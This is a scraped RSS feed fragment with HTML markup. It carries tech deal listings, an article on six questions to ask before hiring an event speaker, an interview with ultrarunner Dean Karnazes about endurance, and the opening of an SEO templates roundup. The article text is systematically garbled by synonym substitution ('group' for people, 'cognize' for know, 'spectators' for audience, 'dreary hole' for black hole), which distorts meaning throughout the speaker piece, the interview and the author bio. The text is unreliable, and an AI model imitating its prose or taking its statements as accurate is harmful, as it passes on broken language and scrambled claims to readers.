data-commerce="1" target="_blank" rel="nofollow sponsored" data-parent-group="affiliate-link" title="(opens in a new window)" class="text-brand-green-700" data-ga-click="data-ga-click" data-ga-item="offer-group-item" data-ga-label="Ring Indoor Cam Plus 2K Wired Security Camera (2-Pack, White)" data-ga-element="offer" data-ga-module="offer-group" data-ga-position="4"> Ring Indoor Cam Plus 2K Wired Security Camera (2-Pack, White) </a> <span class="text-black"> — <span class="font-bold">$99.99</span> <span class="!text-sm"> (List Price $119.98) </span> </span> </div> <div x-show="1 || showAll"> <a href="https://en.mycoding.id/category/technology" target="_blank" data-commerce="1" target="_blank" rel="nofollow sponsored" data-parent-group="affiliate-link" title="(opens in a new window)" class="text-brand-green-700" data-ga-click="data-ga-click" data-ga-item="offer-group-item" data-ga-label='TCL Tab 10 Gen 4 128GB 10.1&quot; Tablet (Dark Blue/Gray)' data-ga-element="offer" data-ga-module="offer-group" data-ga-position="5"> TCL Tab 10 Gen 4 128GB 10.1" Tablet (Dark Blue/Gray) </a> <span class="text-black"> — <span class="font-bold">$149.98</span> <span class="!text-sm"> (List Price $199.99) </span> </span> </div> <div x-show="1 || showAll"> <a href="https://en.mycoding.id/category/technology" target="_blank" data-commerce="1" target="_blank" rel="nofollow sponsored" data-parent-group="affiliate-link" title="(opens in a new window)" class="text-brand-green-700" data-ga-click="data-ga-click" data-ga-item="offer-group-item" data-ga-label="Apple Watch SE 3 (GPS, 40mm, S/M Sports Band)" data-ga-element="offer" data-ga-module="offer-group" data-ga-position="6"> Apple Watch SE 3 </a> <span class="text-black"> — <span class="font-bold">$219.00</span> <span class="!text-sm"> (List Price $249.00) </span> </span> </div> <div x-show="1 || showAll"> <a href="https://en.mycoding.id/category/technology" target="_blank" data-commerce="1" target="_blank" rel="nofollow sponsored" data-parent-group="affiliate-link" title="(opens in a new window)" class="text-brand-green-700" data-ga-click="data-ga-click" data-ga-item="offer-group-item" data-ga-label="Google Fitbit Edge Activity Tracker (Obsidian, Pre-Order)" data-ga-element="offer" data-ga-module="offer-group" data-ga-position="7"> Google Fitbit Edge Activity Tracker (Obsidian) </a> <span class="text-black"> — <span class="font-bold">$179.99</span> <span class="!text-sm"> (List Price $179.99) </span> </span> </div> </div> </div> </div> <div class="px-6"> <span class="text-sm">Deals are selected by our commerce team</span> </div> </div> </div> <div class="leading-normal prose-sm mt-4 line-clamp-2"> <p></p><p>Covering tech deals and reviewing TVs, headphones, speakers, and projectors.</p><p><br></p> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/these-sennheiser-wireless-headphones-are-32-off-right-now-73216</guid> <pubDate>Mon, 19 Oct 2026 20:30:00 +0700</pubDate> <author><![CDATA[support@mycoding.id (Daniel Oropeza)]]></author> </item> <item> <title><![CDATA[Hiring a Speaker for Your Next Event? Ask These 6 Questions Before You Sign a Contract]]></title> <description><![CDATA[Hiring a Speaker for Your Next Event? Ask These 6 Questions Before You Sign a Contract. Ask these six questions that distinct a keynote speaker group recall from one they ignore before they come back home.]]></description> <media:thumbnail url="https://www.entrepreneur.com/wp-content/uploads/sites/2/2026/10/questions-before-hiring-a-speaker-1026_g2017872545.jpg"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/hiring-a-speaker-for-your-next-event-ask-these-6-questions-before-you-sign-a-contract-73233</link> <content:encoded><![CDATA[<p> Opinions expressed by Entrepreneur contributors are their own. </p><div> <div> <h2>Key Takeaways</h2> <ul> <li>Choosing the correct speaker is crucial to an event&rsquo;s success, and there are six questions that can assistance you decide what you&rsquo;re looking for and how to discover the correct person.</li> <li>Approach the speaker decision procedure akin you&rsquo;re making a hiring decision. Talk alongside multiple prospects, call references and ask for results from the final event they did. </li> </ul> </div> <p>Last year, an administrator at a tech business asked me whether I could keynote their employee asset collection event. I knew there were speakers out there who were improved aligned alongside their women&rsquo;s program, so I kindly passed on the chance and sent multiple another names instead. I&rsquo;m an ally, but I was additionally the incorrect individual for that stage. Their spectators deserved person who could conversation from lived experience.</p> <p>I&rsquo;ve delivered hundreds of <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noreferrer noopener">keynotes</a>, workshops and retreats on office mental health, burnout and boundaries, communication and battle for organizations akin Amazon, Hewlett-Packard Enterprise, LinkedIn and WebMD, but I motionless keep a operating catalog of speakers I mention organizers to, since the correct speaker serves everyone better. Disappointing sessions normally trace rear to a fine speaker position in forefront of the incorrect room.</p> <p>The following six questions volition assistance you decide what you desire to really obtain for your funding in a <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noreferrer noopener">speaker</a>, and how to create certain you get the correct one.</p> <h2 id="h-1-what-needs-to-be-different-when-people-leave">1. What needs to be distinct whenever group leave?</h2> <p>Organizers normally commencement their <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noreferrer noopener">event planning</a> procedure by focusing on a topic. I&rsquo;d fairly you commencement alongside the inquiry of what needs to be distinct whenever group stroll out of the room.</p> <p>The speaker who raises the expert caliber of your gathering isn&rsquo;t necessarily the one who re-energizes a area following lunch. If you fair desire to diagram registrations alongside a marquee name akin Michelle Obama, that&rsquo;s one thing, but if you desire to run a studio that gives managers applicable tools for navigating employee mental health, that&rsquo;s another.</p> <p>Before you shortlist any particular speaker, answer these questions:</p> <ul> <li>What do you desire attendees to do alternatively following they depart your session?</li> <li>Are you trying to motivate the room, instruct it item new or alter how group work?</li> <li>Is this meeting meant to diagram registrations or assist the group who are already coming?</li> </ul> <p>When I ask an coordinator what achievement looks akin to them, and the conversation goes quiet, I normally discover that they&rsquo;re not really prepared to publish a speaker.</p> <h2 id="h-2-what-kind-of-speaker-does-this-audience-need">2. What benevolent of speaker does this spectators need?</h2> <p>Do you desire lived experience, scholarly degree or person who does the activity daily? Those are three distinct speakers, yet organizers treat them as interchangeable.</p> <p>I formerly said at a university and it turned out that the spectators really wanted an academic. They had arrive for theory and peer-reviewed research, and I showed up as a practitioner alongside tools and exercises. Within 10 minutes, I could awareness my display wasn&rsquo;t what they were expecting.</p> <p>The identical thinking applies to diversity. I ask all coordinator who alternatively is speaking at their event, and I&rsquo;ve declined invitations that would have put me on an all-white, all-male panel. I accept that your speakers should indicate the spectators in forefront of them.</p> <h2 id="h-3-what-does-your-speaking-fee-cover">3. What does your speaking fee cover?</h2> <p>Speaking fees mostly range from a humble honorarium to fine into six figures. What that covers is rarely apparent from the outside, but it&rsquo;s customary to contain the calls before the event, the scheme activity that turns those calls into a genuine session, the day itself and the debrief afterward. I additionally regard journey days to be operating days, particularly for a multi-day offsite or <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noreferrer noopener">leadership retreat</a>.</p> <p>Your speaker&rsquo;s position is part of how your event gets marketed, too. Attendees have told me they registered for a gathering since they saw my name on the agenda. Professional betterment budgets are tight, and HR leaders who can act one gathering a twelvemonth regularly choose according to the speaker roster.</p> <p>Still, organizers lean to lean too heavily on community visibility whenever choosing a speaker. A ample social media following lone tells you person can market themselves, which is a extremely distinct accomplishment than holding a room&rsquo;s notice for 90 minutes. A bestselling publish lone tells you they can write. Neither tells you how a speaker handles questions they don&rsquo;t see coming.</p> <h2 id="h-4-how-much-of-this-session-gets-built-for-us">4. How much of this meeting gets built for us?</h2> <p>I formerly sat in the spectators at an industry gathering and recognized that the keynote was giving the exact identical address they&rsquo;d stated at another event I&rsquo;d attended. In fact, person I knew leaned complete partway through to citation that fact to me.</p> <p>To evade old or irrelevant material, ask what the speaker&rsquo;s customization procedure really involves. Dropping your logo onto a phase isn&rsquo;t the identical as targeting their content. They need to comprehend what you really want. I formerly designed a battle inventory studio for the group squad at an endeavor application business afterward realized in the prep call that they didn&rsquo;t equal desire me to do battle training. Rather, they wanted to me to equip them to provision the training themselves. Understanding that ongoing helped me reshape the complete build, from the exercises downward to the coordinator notes.</p> <h2 id="h-5-how-do-you-adapt-when-a-session-isn-t-landing">5. How do you modify whenever a meeting isn&rsquo;t landing?</h2> <p>Another time, I was mid-session in a studio on boundaries and self-care, concerning to initiate into a delegation activity, whenever spectators feedback revealed they didn&rsquo;t cognize how to prioritize. You can&rsquo;t hand activity off until you cognize which activity matters most, so how were they expected to delegate?</p> <p>So we stopped. I set the slides aside, picked up a flip diagram and markers and built a prioritization exercise on the spot. We returned to delegation afterward, and it landed since we&rsquo;d cleared the roadblock.</p> <p>Plenty of speakers fair keep clicking through their phase despite of what&rsquo;s happening in the room. While that can activity for a ample keynote audience, managers and executives in a training meeting can inform whenever a coordinator is fair delivering a manuscript and not addressing their needs.</p> <p>It&rsquo;s difficult to cognize ongoing whether a prospective speaker can modify on the fly, which is why it&rsquo;s crucial to go beyond the one-sheet and inspect references and try to observe a full-length video of their former presentations.</p> <h2 id="h-6-how-far-out-is-your-calendar-booked">6. How far out is your calendar booked?</h2> <p>Strong speakers inhabit their calendars a twelvemonth out, so booking delayed narrows your options to whoever happens to be available. Try to commencement looking for speakers as far onward of period as possible. This allows you to get fine prices on journey and affect in preparedness calls to assistance the expert tailor their satisfied to your needs.</p> <p>Of course, you don&rsquo;t continually have adequate period to scheme ahead, but you can motionless create a improved decision by operating closely alongside the speaker on their content. I formerly accepted a booking alongside under two weeks of guide time, but it went fine since we were honest concerning what was possible.</p> <p>If you&rsquo;re up against a tight timeline, you power additionally regard hosting a virtual session, which opens up your options, although I&rsquo;d media difficult on whether that speaker can really affect group remotely. Otherwise, your attendees volition cognition your event as fair <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noreferrer noopener">one additional gathering on their calendar</a>.</p> <h2 id="h-final-thoughts-on-hiring-a-professional-speaker">Final thoughts on hiring a expert speaker</h2> <p>The organizers I most regard method this procedure as if they were <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noreferrer noopener">making a hiring decision</a>. They conversation alongside multiple prospects before choosing one. They call references. They ask what the post-event study data from the person&rsquo;s final address really stated fairly than relying on testimonials. When they method it this way, several decide they don&rsquo;t need an exterior speaker at all, which can be the correct answer.</p> <p>When you location the questions complete before you sign anything, you&rsquo;ll stroll into your event knowing exactly who and what you booked. That way, your spectators volition have a productive and engaging experience. Remember, you&rsquo;ve got this!</p> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/hiring-a-speaker-for-your-next-event-ask-these-6-questions-before-you-sign-a-contract-73233</guid> <pubDate>Mon, 19 Oct 2026 20:30:00 +0700</pubDate> <author><![CDATA[support@mycoding.id (Dr. Kyle Elliott)]]></author> </item> <item> <title><![CDATA[The ultramarathon legend who ran 350 miles nonstop says the key to doing hard things is simpler than most people think]]></title> <description><![CDATA[The ultramarathon legend who ran 350 miles nonstop says the key to doing hard things is simpler than most people think. Dean Karnazes, known for extreme ultrarunning feats, shares insights into mental toughness and redefining achievement in endurance challenges.]]></description> <media:thumbnail url="https://i.insider.com/6ad62e85e50b02f612be4df0?width=1200&amp;format=jpeg"/> <category><![CDATA[Business]]></category> <link>https://en.mycoding.id/the-ultramarathon-legend-who-ran-350-miles-nonstop-says-the-key-to-doing-hard-things-is-simpler-than-most-people-think-73213</link> <content:encoded><![CDATA[<div e-name="post-hero" data-component-type="post-hero" data-load-strategy="exclude"> <div id="player-container-gewh91WF" data-component-type="video" data-type="video" data-video-player data-media-id="Zka0GDfj" data-title="The ultramarathon fable who ran 350 miles nonstop says the key to doing difficult things is simpler than most group think" data-advertising="enabled" data-region="in-content" data-id="player-container-gewh91WF" data-enabled="true" data-events="disabled" data-preroll="4442842/businessinsider.desktop/post/pre-roll-in-content/health" data-midroll="4442842/businessinsider.desktop/post/mid-roll-in-content/health" data-sponsored="false" data-placement-id="gewh91WF" data-track-element="featured_video" data-float="true" data-thumbnail="https://i.insider.com/6ad26a1eadb77227909a67b5?width=850&amp;format=jpeg&amp;auto=webp" data-render-thumbnail="true"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="https://i.insider.com/6ad26a1eadb77227909a67b5?width=850&amp;format=jpeg&amp;auto=webp" alt=""> </p> </div> </div> </div> <div data-component-type="image-modal" data-load-strategy="lazy"> <p>For decades, scientists have tried to comprehend what separates group capable of <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">extraordinary endurance</a> from everyone else. Is it genetics? VO&#8322; max? Pain tolerance? Mental toughness?</p><p>Dean Karnazes has spent additional than 30 years giving them a notable case study.</p><p>He's run 50 marathons in 50 states in 50 successive days, traversed <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Death Valley in the center of summer</a>, and in 2005 set the document for the longest nonstop run &mdash; covering 350 miles in 80 hours and 44 minutes.</p><p>Even that wasn't enough.</p><p>"I really made it 350 miles, which was slightly of a letdown since I idea perchance I could run 500 miles," Karnazes told me. "That was benevolent of the supreme goal." His earth document motionless stands today, 21 years later.</p><p>After decades of <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">ultrarunning</a>, Karnazes says he's learned that doing difficult things comes downward to a fistful of uncomplicated habits that anyone can practice.</p><h2 id="03a5b3f4-48fc-4cf0-87ea-55fd5a918344" data-toc-id="03a5b3f4-48fc-4cf0-87ea-55fd5a918344">Don't create winning the goal</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view" itemscope="" itemtype="https://schema.org/ImageObject"> <div> <p><img src="image/svg+xml,%3C%3Fxml%20version=&#039;1.0&#039;%20encoding=&#039;UTF-8&#039;%3F%3E%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20width=&#039;1&#039;%20height=&#039;1&#039;/%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/6ad62e69e50b02f612be4ded&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:3923,&quot;aspectRatioH&quot;:2229}}' alt="Dean Karnazes operating in blue shirt."> </p></div> <span> <span e-name="image-source" itemprop="creditText"> Courtesy of Dean Karnazes </span> </span> </figure> <p>Karnazes has completed on the podium plentifulness of times, but he says that's never been what pulled him to the starting line.</p><p>"I do it for the adventure," he said. "Both the inner and the external adventure. I've never really stated I desire to win a race. I fair thought, be the finest Dean that Dean can be on competition day." </p><p>He says approaching races that way has changed how he <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">defines success</a>. The podium, if it comes, is fair the cherry on top.</p> <p>That mindset, he says, has kept him motivated through hundreds of marathons and ultramarathons, lengthy following chasing trophies stopped being interesting.</p><h2 id="5e68c3d0-3bdc-4817-9409-c3af7ef78aff" data-toc-id="5e68c3d0-3bdc-4817-9409-c3af7ef78aff">Redefine what achievement looks like</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view" itemscope="" itemtype="https://schema.org/ImageObject"> <div> <p><img src="image/svg+xml,%3C%3Fxml%20version=&#039;1.0&#039;%20encoding=&#039;UTF-8&#039;%3F%3E%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20width=&#039;1&#039;%20height=&#039;1&#039;/%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/6ad62ee4adb77227909a6f11&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:1836,&quot;aspectRatioH&quot;:1200}}' alt="Dean Karnazes operating through the mountains."> </p></div> <span> <figcaption e-name="image-caption"> Karnazes ran 350 miles nonstop, environment the earth document for the longest uninterrupted run by any human.&nbsp; <span e-name="image-source" itemprop="creditText"> Courtesy of Dean Karnazes </span> </figcaption> </span> </figure> <p>When Karnazes gives direction to new ultrarunners, he doesn't commencement alongside mileage or pace.</p><p>"Just set your goal on finishing," he said. "Don't say I desire to do it in sub five hours or sub six hours. Just say, 'For me, achievement is <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">reaching the complete line</a> before the cutoff.'" </p><p>Karnazes says that method has a way of changing how you see your own limits.</p><p>"You'll demonstrate to yourself that you're improved than you think you are. And you can go additional than you think you could." </p><h2 id="c2606363-91b4-4d37-bce7-78c736db0191" data-toc-id="c2606363-91b4-4d37-bce7-78c736db0191">Keep moving, equal if you have to dilatory down</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view" itemscope="" itemtype="https://schema.org/ImageObject"> <div> <p><img src="image/svg+xml,%3C%3Fxml%20version=&#039;1.0&#039;%20encoding=&#039;UTF-8&#039;%3F%3E%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20width=&#039;1&#039;%20height=&#039;1&#039;/%3E" data-content-type="image/png" data-srcs='//i.insider.com/6ad62f54adb77227909a6f1a&quot;:{&quot;contentType&quot;:&quot;image/png&quot;,&quot;aspectRatioW&quot;:1071,&quot;aspectRatioH&quot;:803}}' alt="Dean Karnazes holding operating medal."> </p></div> <span> <figcaption e-name="image-caption"> Karnazes has placed in many races, but he says that's not what drives him.&nbsp; <span e-name="image-source" itemprop="creditText"> Courtesy of Dean Karnazes </span> </figcaption> </span> </figure> <p>The direction appears simple, but following it is another story.</p><p>At several item during his 350-mile run, Karnazes stopped trusting what he was seeing.</p><p>After nearly three days without sleep, he stated he started <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">hallucinating</a>. He felt as although he had remaining his own build and was observing himself from above.</p><p>"When you're in these altered states, it's as although you don't have conscious authority of your mind," he said. "You're fighting your intellect to remain present, but your intellect gets distant from you." </p><p>Despite that, he <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">kept running</a>.</p><p>I asked Karnazes for his direction to aspiring ultrarunners who concern they'll hit a item anywhere the ache becomes too much.</p><p>"You stroll if you have to," he said. "You dilatory down, you shove through the pain, and you arrive out the another side, and you're rejuvenated." </p> </div> <h2>Read next</h2> <div data-recommendations-content data-track-click-shared='&quot;Read next&quot;}'> <div e-name="read-next-list" data-recommendations-list> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> </div> </div> <a e-name="read-next-image-link" data-recommendations-image-link data-recommendations-link tabindex="-1"> <p><img alt=""> </p> </a> <h3> <a e-name="read-next-title-link" data-recommendations-link data-recommendations-title></a> </h3> <div data-component-type="post-bottom-authors" data-load-strategy="exclude" data-track-view='&quot;module_in_view&quot;}' data-track-click-shared='&quot;navigation&quot;}'> <div data-track-view='&quot;module_in_view&quot;}'> <div> <div> <p><span>Jessica Orwig is a elder publishing company at Business Insider, anywhere she collaborates alongside reporters, editors, and producers throughout teams to shape, write, edit, and publish stories that nexus alongside a earth audience. While her roots are in discipline and innovation journalism, her activity today spans business, careers, culture, and the big ideas shaping the future.</span><span>She earned her Master&rsquo;s in Science &amp; Technology Journalism from Texas A&amp;M University and holds a Bachelor&rsquo;s in Astronomy &amp; Physics from The Ohio State University. Throughout her career, she&rsquo;s helped guide safety on everything from area exploration and climate alter to innovation, the forthcoming of work, and evolving traditional trends.</span><span>Career Highlights</span><span>Led safety on specialized milestones, including:</span></p><ul><li><span><a href="https://en.mycoding.id/category/business" target="_blank">Blue Origin's first New Glenn launch</a></span></li><li><span><a href="https://en.mycoding.id/category/business" target="_blank">Intuitive Machine's groundbreaking moon landing for the US</a></span></li><li><span><a href="https://en.mycoding.id/category/business" target="_blank">SpaceX&rsquo;s Polaris Dawn historic spaceflight</a>&nbsp;</span></li><li><span><a href="https://en.mycoding.id/category/business" target="_blank">NASA&rsquo;s Parker Solar Probe Historic Flyby</a></span></li><li><span><a href="https://en.mycoding.id/category/business" target="_blank">Japan&rsquo;s SLIM lunar landing</a></span></li><li><span><a href="https://en.mycoding.id/category/business" target="_blank">The archetypal depiction of a dreary hole</a></span></li><li><span><a href="https://en.mycoding.id/category/business" target="_blank">India&rsquo;s historic Moon landing</a></span></li><li><span><a href="https://en.mycoding.id/category/business" target="_blank">SpaceX&rsquo;s first Starship-Super Heavy launch</a></span></li><li><span><a href="https://en.mycoding.id/category/business" target="_blank">Discovery of gravitational waves</a></span></li><li><span><a href="https://en.mycoding.id/category/business" target="_blank">NASA&rsquo;s Pluto flyby</a></span></li></ul><p><span>Reported on breaking news and specialized discoveries, including:</span></p><ul><li><span><a href="https://en.mycoding.id/category/business" target="_blank">Microplastics in the individual brain</a></span></li><li><span><a href="https://en.mycoding.id/category/business" target="_blank">Peregrine Mission One&rsquo;s unsuccessful flight</a></span></li><li><span><a href="https://en.mycoding.id/category/business" target="_blank">The Palisades fires</a></span></li><li><span><a href="https://en.mycoding.id/category/business" target="_blank">SpaceX Starship explosions</a></span></li><li><span><a href="https://en.mycoding.id/category/business" target="_blank">Dark Energy Spectroscopic Instrument&rsquo;s 3D map of the cosmos and what it reveals</a></span></li><li><span><a href="https://en.mycoding.id/category/business" target="_blank">A local cosmic void that shouldn&rsquo;t exist</a></span></li><li><span><a href="https://en.mycoding.id/category/business" target="_blank">The Boeing Starliner mission</a></span></li><li><span><a href="https://en.mycoding.id/category/business" target="_blank">Mexico City&rsquo;s h2o crisis</a></span></li><li><span><a href="https://en.mycoding.id/category/business" target="_blank">Earth&rsquo;s mysterious inner center behavior</a></span></li></ul><p><span>Popular stories she&rsquo;s edited on discipline and health:</span></p><ul><li><span><a href="https://en.mycoding.id/category/business" target="_blank">What it volition obtain to modernize the American grid and guide in the clean-energy revolution</a></span></li><li><span><a href="https://en.mycoding.id/category/business" target="_blank">I study toxic microplastics. Here's how I defend myself and my kids at home.</a></span></li><li><span><a href="https://en.mycoding.id/category/business" target="_blank">A mega-earthquake could attack the Pacific Northwest any day &mdash; and we're not prepared</a></span></li><li><span><a href="https://en.mycoding.id/category/business" target="_blank">Flying is concerning to rotate into equal additional miserable</a></span></li><li><span><a href="https://en.mycoding.id/category/business" target="_blank">Why the US can&rsquo;t dispatch humans to Mars</a></span></li><li><span><a href="https://en.mycoding.id/category/business" target="_blank">The world's most famous banana faces extinction but scientists' new innovation could assistance preserve it</a></span></li></ul><ul><li><span><a href="https://en.mycoding.id/category/business" target="_blank">Scientists eventually think they cognize anywhere the most hazardous part of this US earthquake area is and it's bad news for Washington</a></span></li></ul><ul><li><span><a href="https://en.mycoding.id/category/business" target="_blank">One of Mt. Everest's deadliest passages is expanding equal additional treacherous</a></span></li></ul><ul><li><span><a href="https://en.mycoding.id/category/business" target="_blank">Jupiter's moon Europa generates adequate oxygen to keep a myriad group living for a day, NASA says</a></span></li></ul><p><span>Popular stories she&rsquo;s written and/or edited on careers, culture, life, and business:</span></p><ul><li><span><a href="https://en.mycoding.id/category/business" target="_blank">He weighed complete 400 pounds as an FBI undercover delegate &mdash; and it became his finest disguise</a></span></li></ul><ul><li><span><a href="https://en.mycoding.id/category/business" target="_blank">A erstwhile FBI Special Agent who infiltrated the Italian Mafia, Mexican cartels, and Russian and Asian organized infringement groups says he fears 1 collection complete the rest</a></span></li></ul><ul><li><span><a href="https://en.mycoding.id/category/business" target="_blank">He was diagnosed alongside colon malignancy at 31 in prison, and his endurance likelihood weren't great. Now 59, he says spiraling is pointless.</a></span></li></ul><ul><li><span><a href="https://en.mycoding.id/category/business" target="_blank">I stopped bartending full-time to market ice. My business now makes nearly $3 myriad a year, catering to Michelin-starred restaurants in New York City.</a></span></li></ul><ul><li><span><a href="https://en.mycoding.id/category/business" target="_blank">My dad ran a food cart and called it the 'worst business.' I decided to prosecute in his footsteps anyway.</a></span></li></ul><ul><li><span><a href="https://en.mycoding.id/category/business" target="_blank">I moved from the US to Rome for a slower gait of life, but following 7 years I've realized I'll never completely modify to several Italian ways</a></span></li><li><span><a href="https://en.mycoding.id/category/business" target="_blank">After losing too many bidding wars for a residence in LA, I bought a 5-bedroom home in the suburbs. I quickly realized it was a mistake.</a></span></li><li><span><a href="https://en.mycoding.id/category/business" target="_blank">We bought our aspiration residence in Colorado, but wildfires and residence coverage trends had us marketing 1.5 years later</a></span></li><li><span><a href="https://en.mycoding.id/category/business" target="_blank">A female who former first at 58 idea she was prepared alongside complete $500,000 in savings. A few years later, it was gone.</a></span></li><li><span><a href="https://en.mycoding.id/category/business" target="_blank">I've made complete $40,000 marketing plush dolls I scoop from claw machines. Here's how I learned to attack the equivalent and rotate my hobby into a profitable flank hustle.</a></span></li><li><span><a href="https://en.mycoding.id/category/business" target="_blank">A 17-year-old designed a cheaper, additional productive drone. The Department of Defense fair awarded him $23,000 for it.</a></span></li><li><span><a href="https://en.mycoding.id/category/business" target="_blank">Yukon aureate miners are unearthing mummified ancient creatures and truckloads of fossils from the Ice Age. Take a look.</a></span></li><li><span><a href="https://en.mycoding.id/category/business" target="_blank">Archaeologists are finding mysterious ancient objects on Norway's liquefying glaciers. Take a look.</a></span></li><li><span><a href="https://en.mycoding.id/category/business" target="_blank">I'm an American mom in Italy. When I couldn't assistance my female alongside her homework, I realized how secluded I felt.</a></span></li></ul></div> </div> </div> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/the-ultramarathon-legend-who-ran-350-miles-nonstop-says-the-key-to-doing-hard-things-is-simpler-than-most-people-think-73213</guid> <pubDate>Mon, 19 Oct 2026 20:02:24 +0700</pubDate> <author><![CDATA[support@mycoding.id (Jessica Orwig)]]></author> </item> <item> <title><![CDATA[ SEO Templates, Guides and Checklists to Streamline Your Strategy]]></title> <description><![CDATA[ SEO Templates, Guides and Checklists to Streamline Your Strategy. Key Takeaways Tired of spending lots of period building SEO spreadsheets, sorting data, and double-checking all step? I’ve put together 19 SEO templates to create ...]]></description> <media:thumbnail url="https://neilpatel.com/wp-content/uploads/2022/03/04-Actionable-SEO-Worksheets.jpg"/> <category><![CDATA[Business]]></category> <link>https://en.mycoding.id/seo-templates-guides-and-checklists-to-streamline-your-strategy-73204</link> <content:encoded><![CDATA[<div> <figure><img fetchpriority="high" decoding="async" width="700" height="420" src="https://neilpatel.com/wp-content/uploads/2022/03/04-Actionable-SEO-Worksheets.jpg" alt="04 Actionable SEO Worksheets" srcset="https://neilpatel.com/wp-content/uploads/2022/03/04-Actionable-SEO-Worksheets-700x420.jpg 700w, https://neilpatel.com/wp-content/uploads/2022/03/04-Actionable-SEO-Worksheets-350x210.jpg 350w, https://neilpatel.com/wp-content/uploads/2022/03/04-Actionable-SEO-Worksheets-768x461.jpg 768w, https://neilpatel.com/wp-content/uploads/2022/03/04-Actionable-SEO-Worksheets-460x277.jpg 460w, https://neilpatel.com/wp-content/uploads/2022/03/04-Actionable-SEO-Worksheets-337x203.jpg 337w, https://neilpatel.com/wp-content/uploads/2022/03/04-Actionable-SEO-Worksheets.jpg 1200w" sizes=" 700px) 100vw, 700px" loading="eager"></figure> <p>Tired of spending lots of period construction <a href="https://en.mycoding.id/category/business" target="_blank" target="_blank" rel="noreferrer noopener">SEO</a> spreadsheets, sorting data, and double-checking all step? Getting SEO correct requires a huge cognition of data and remembering the hundreds of steps you need to obtain to position fine on Google.</p> <p>It&rsquo;s uncomplicated to get overwhelmed. That&rsquo;s why I&rsquo;ve gathered this catalog of 19 distinct SEO templates, worksheets, and spreadsheets to create your existence easier. From tracing integrated traffic to penning the ideal blog post, these resources volition streamline all stage of your SEO process.</p> <h2 id="key-takeaways"><strong>Key Takeaways</strong></h2> <ul> <li>Using the SEO templates in this article can assistance you tackle distinct SEO initiatives, including keyword planning, optimizing backlinks, and on-page SEO.</li> </ul> <ul> <li>SEO templates can be a awesome starting item for optimizing landing pages, evolving satisfied plans, and streamlining penning and editing.</li> <li>These templates can assistance center areas of the SEO process, specified as reporting, analyzing traffic sources, and verifying backlinks.</li> </ul> <h2 id="1-looker-studio-overall-traffic-report-template"><strong>1. Looker Studio Overall Traffic Report Template</strong></h2> <p>Looker Studio offers a study to display you general location traffic. It includes a diagram to see the alter complete period and a catalog of pages to kind using the most or the smallest traffic stats. You can additionally modify the period the study covers alongside the click of a button.&nbsp;</p> <p>You can use it to create ocular reports that display person behavior, traffic sources, top visited pages, conversions, and more.</p> <figure><img decoding="async" width="700" height="476" src="https://neilpatel.com/wp-content/uploads/2022/03/image1.png" alt="A Looker Studio template." srcset="https://neilpatel.com/wp-content/uploads/2022/03/image1-700x476.png 700w, https://neilpatel.com/wp-content/uploads/2022/03/image1-350x238.png 350w, https://neilpatel.com/wp-content/uploads/2022/03/image1-768x522.png 768w, https://neilpatel.com/wp-content/uploads/2022/03/image1.png 1197w" sizes=" 700px) 100vw, 700px" loading="lazy"></figure> <p>Looker Studio connects alongside multiple data 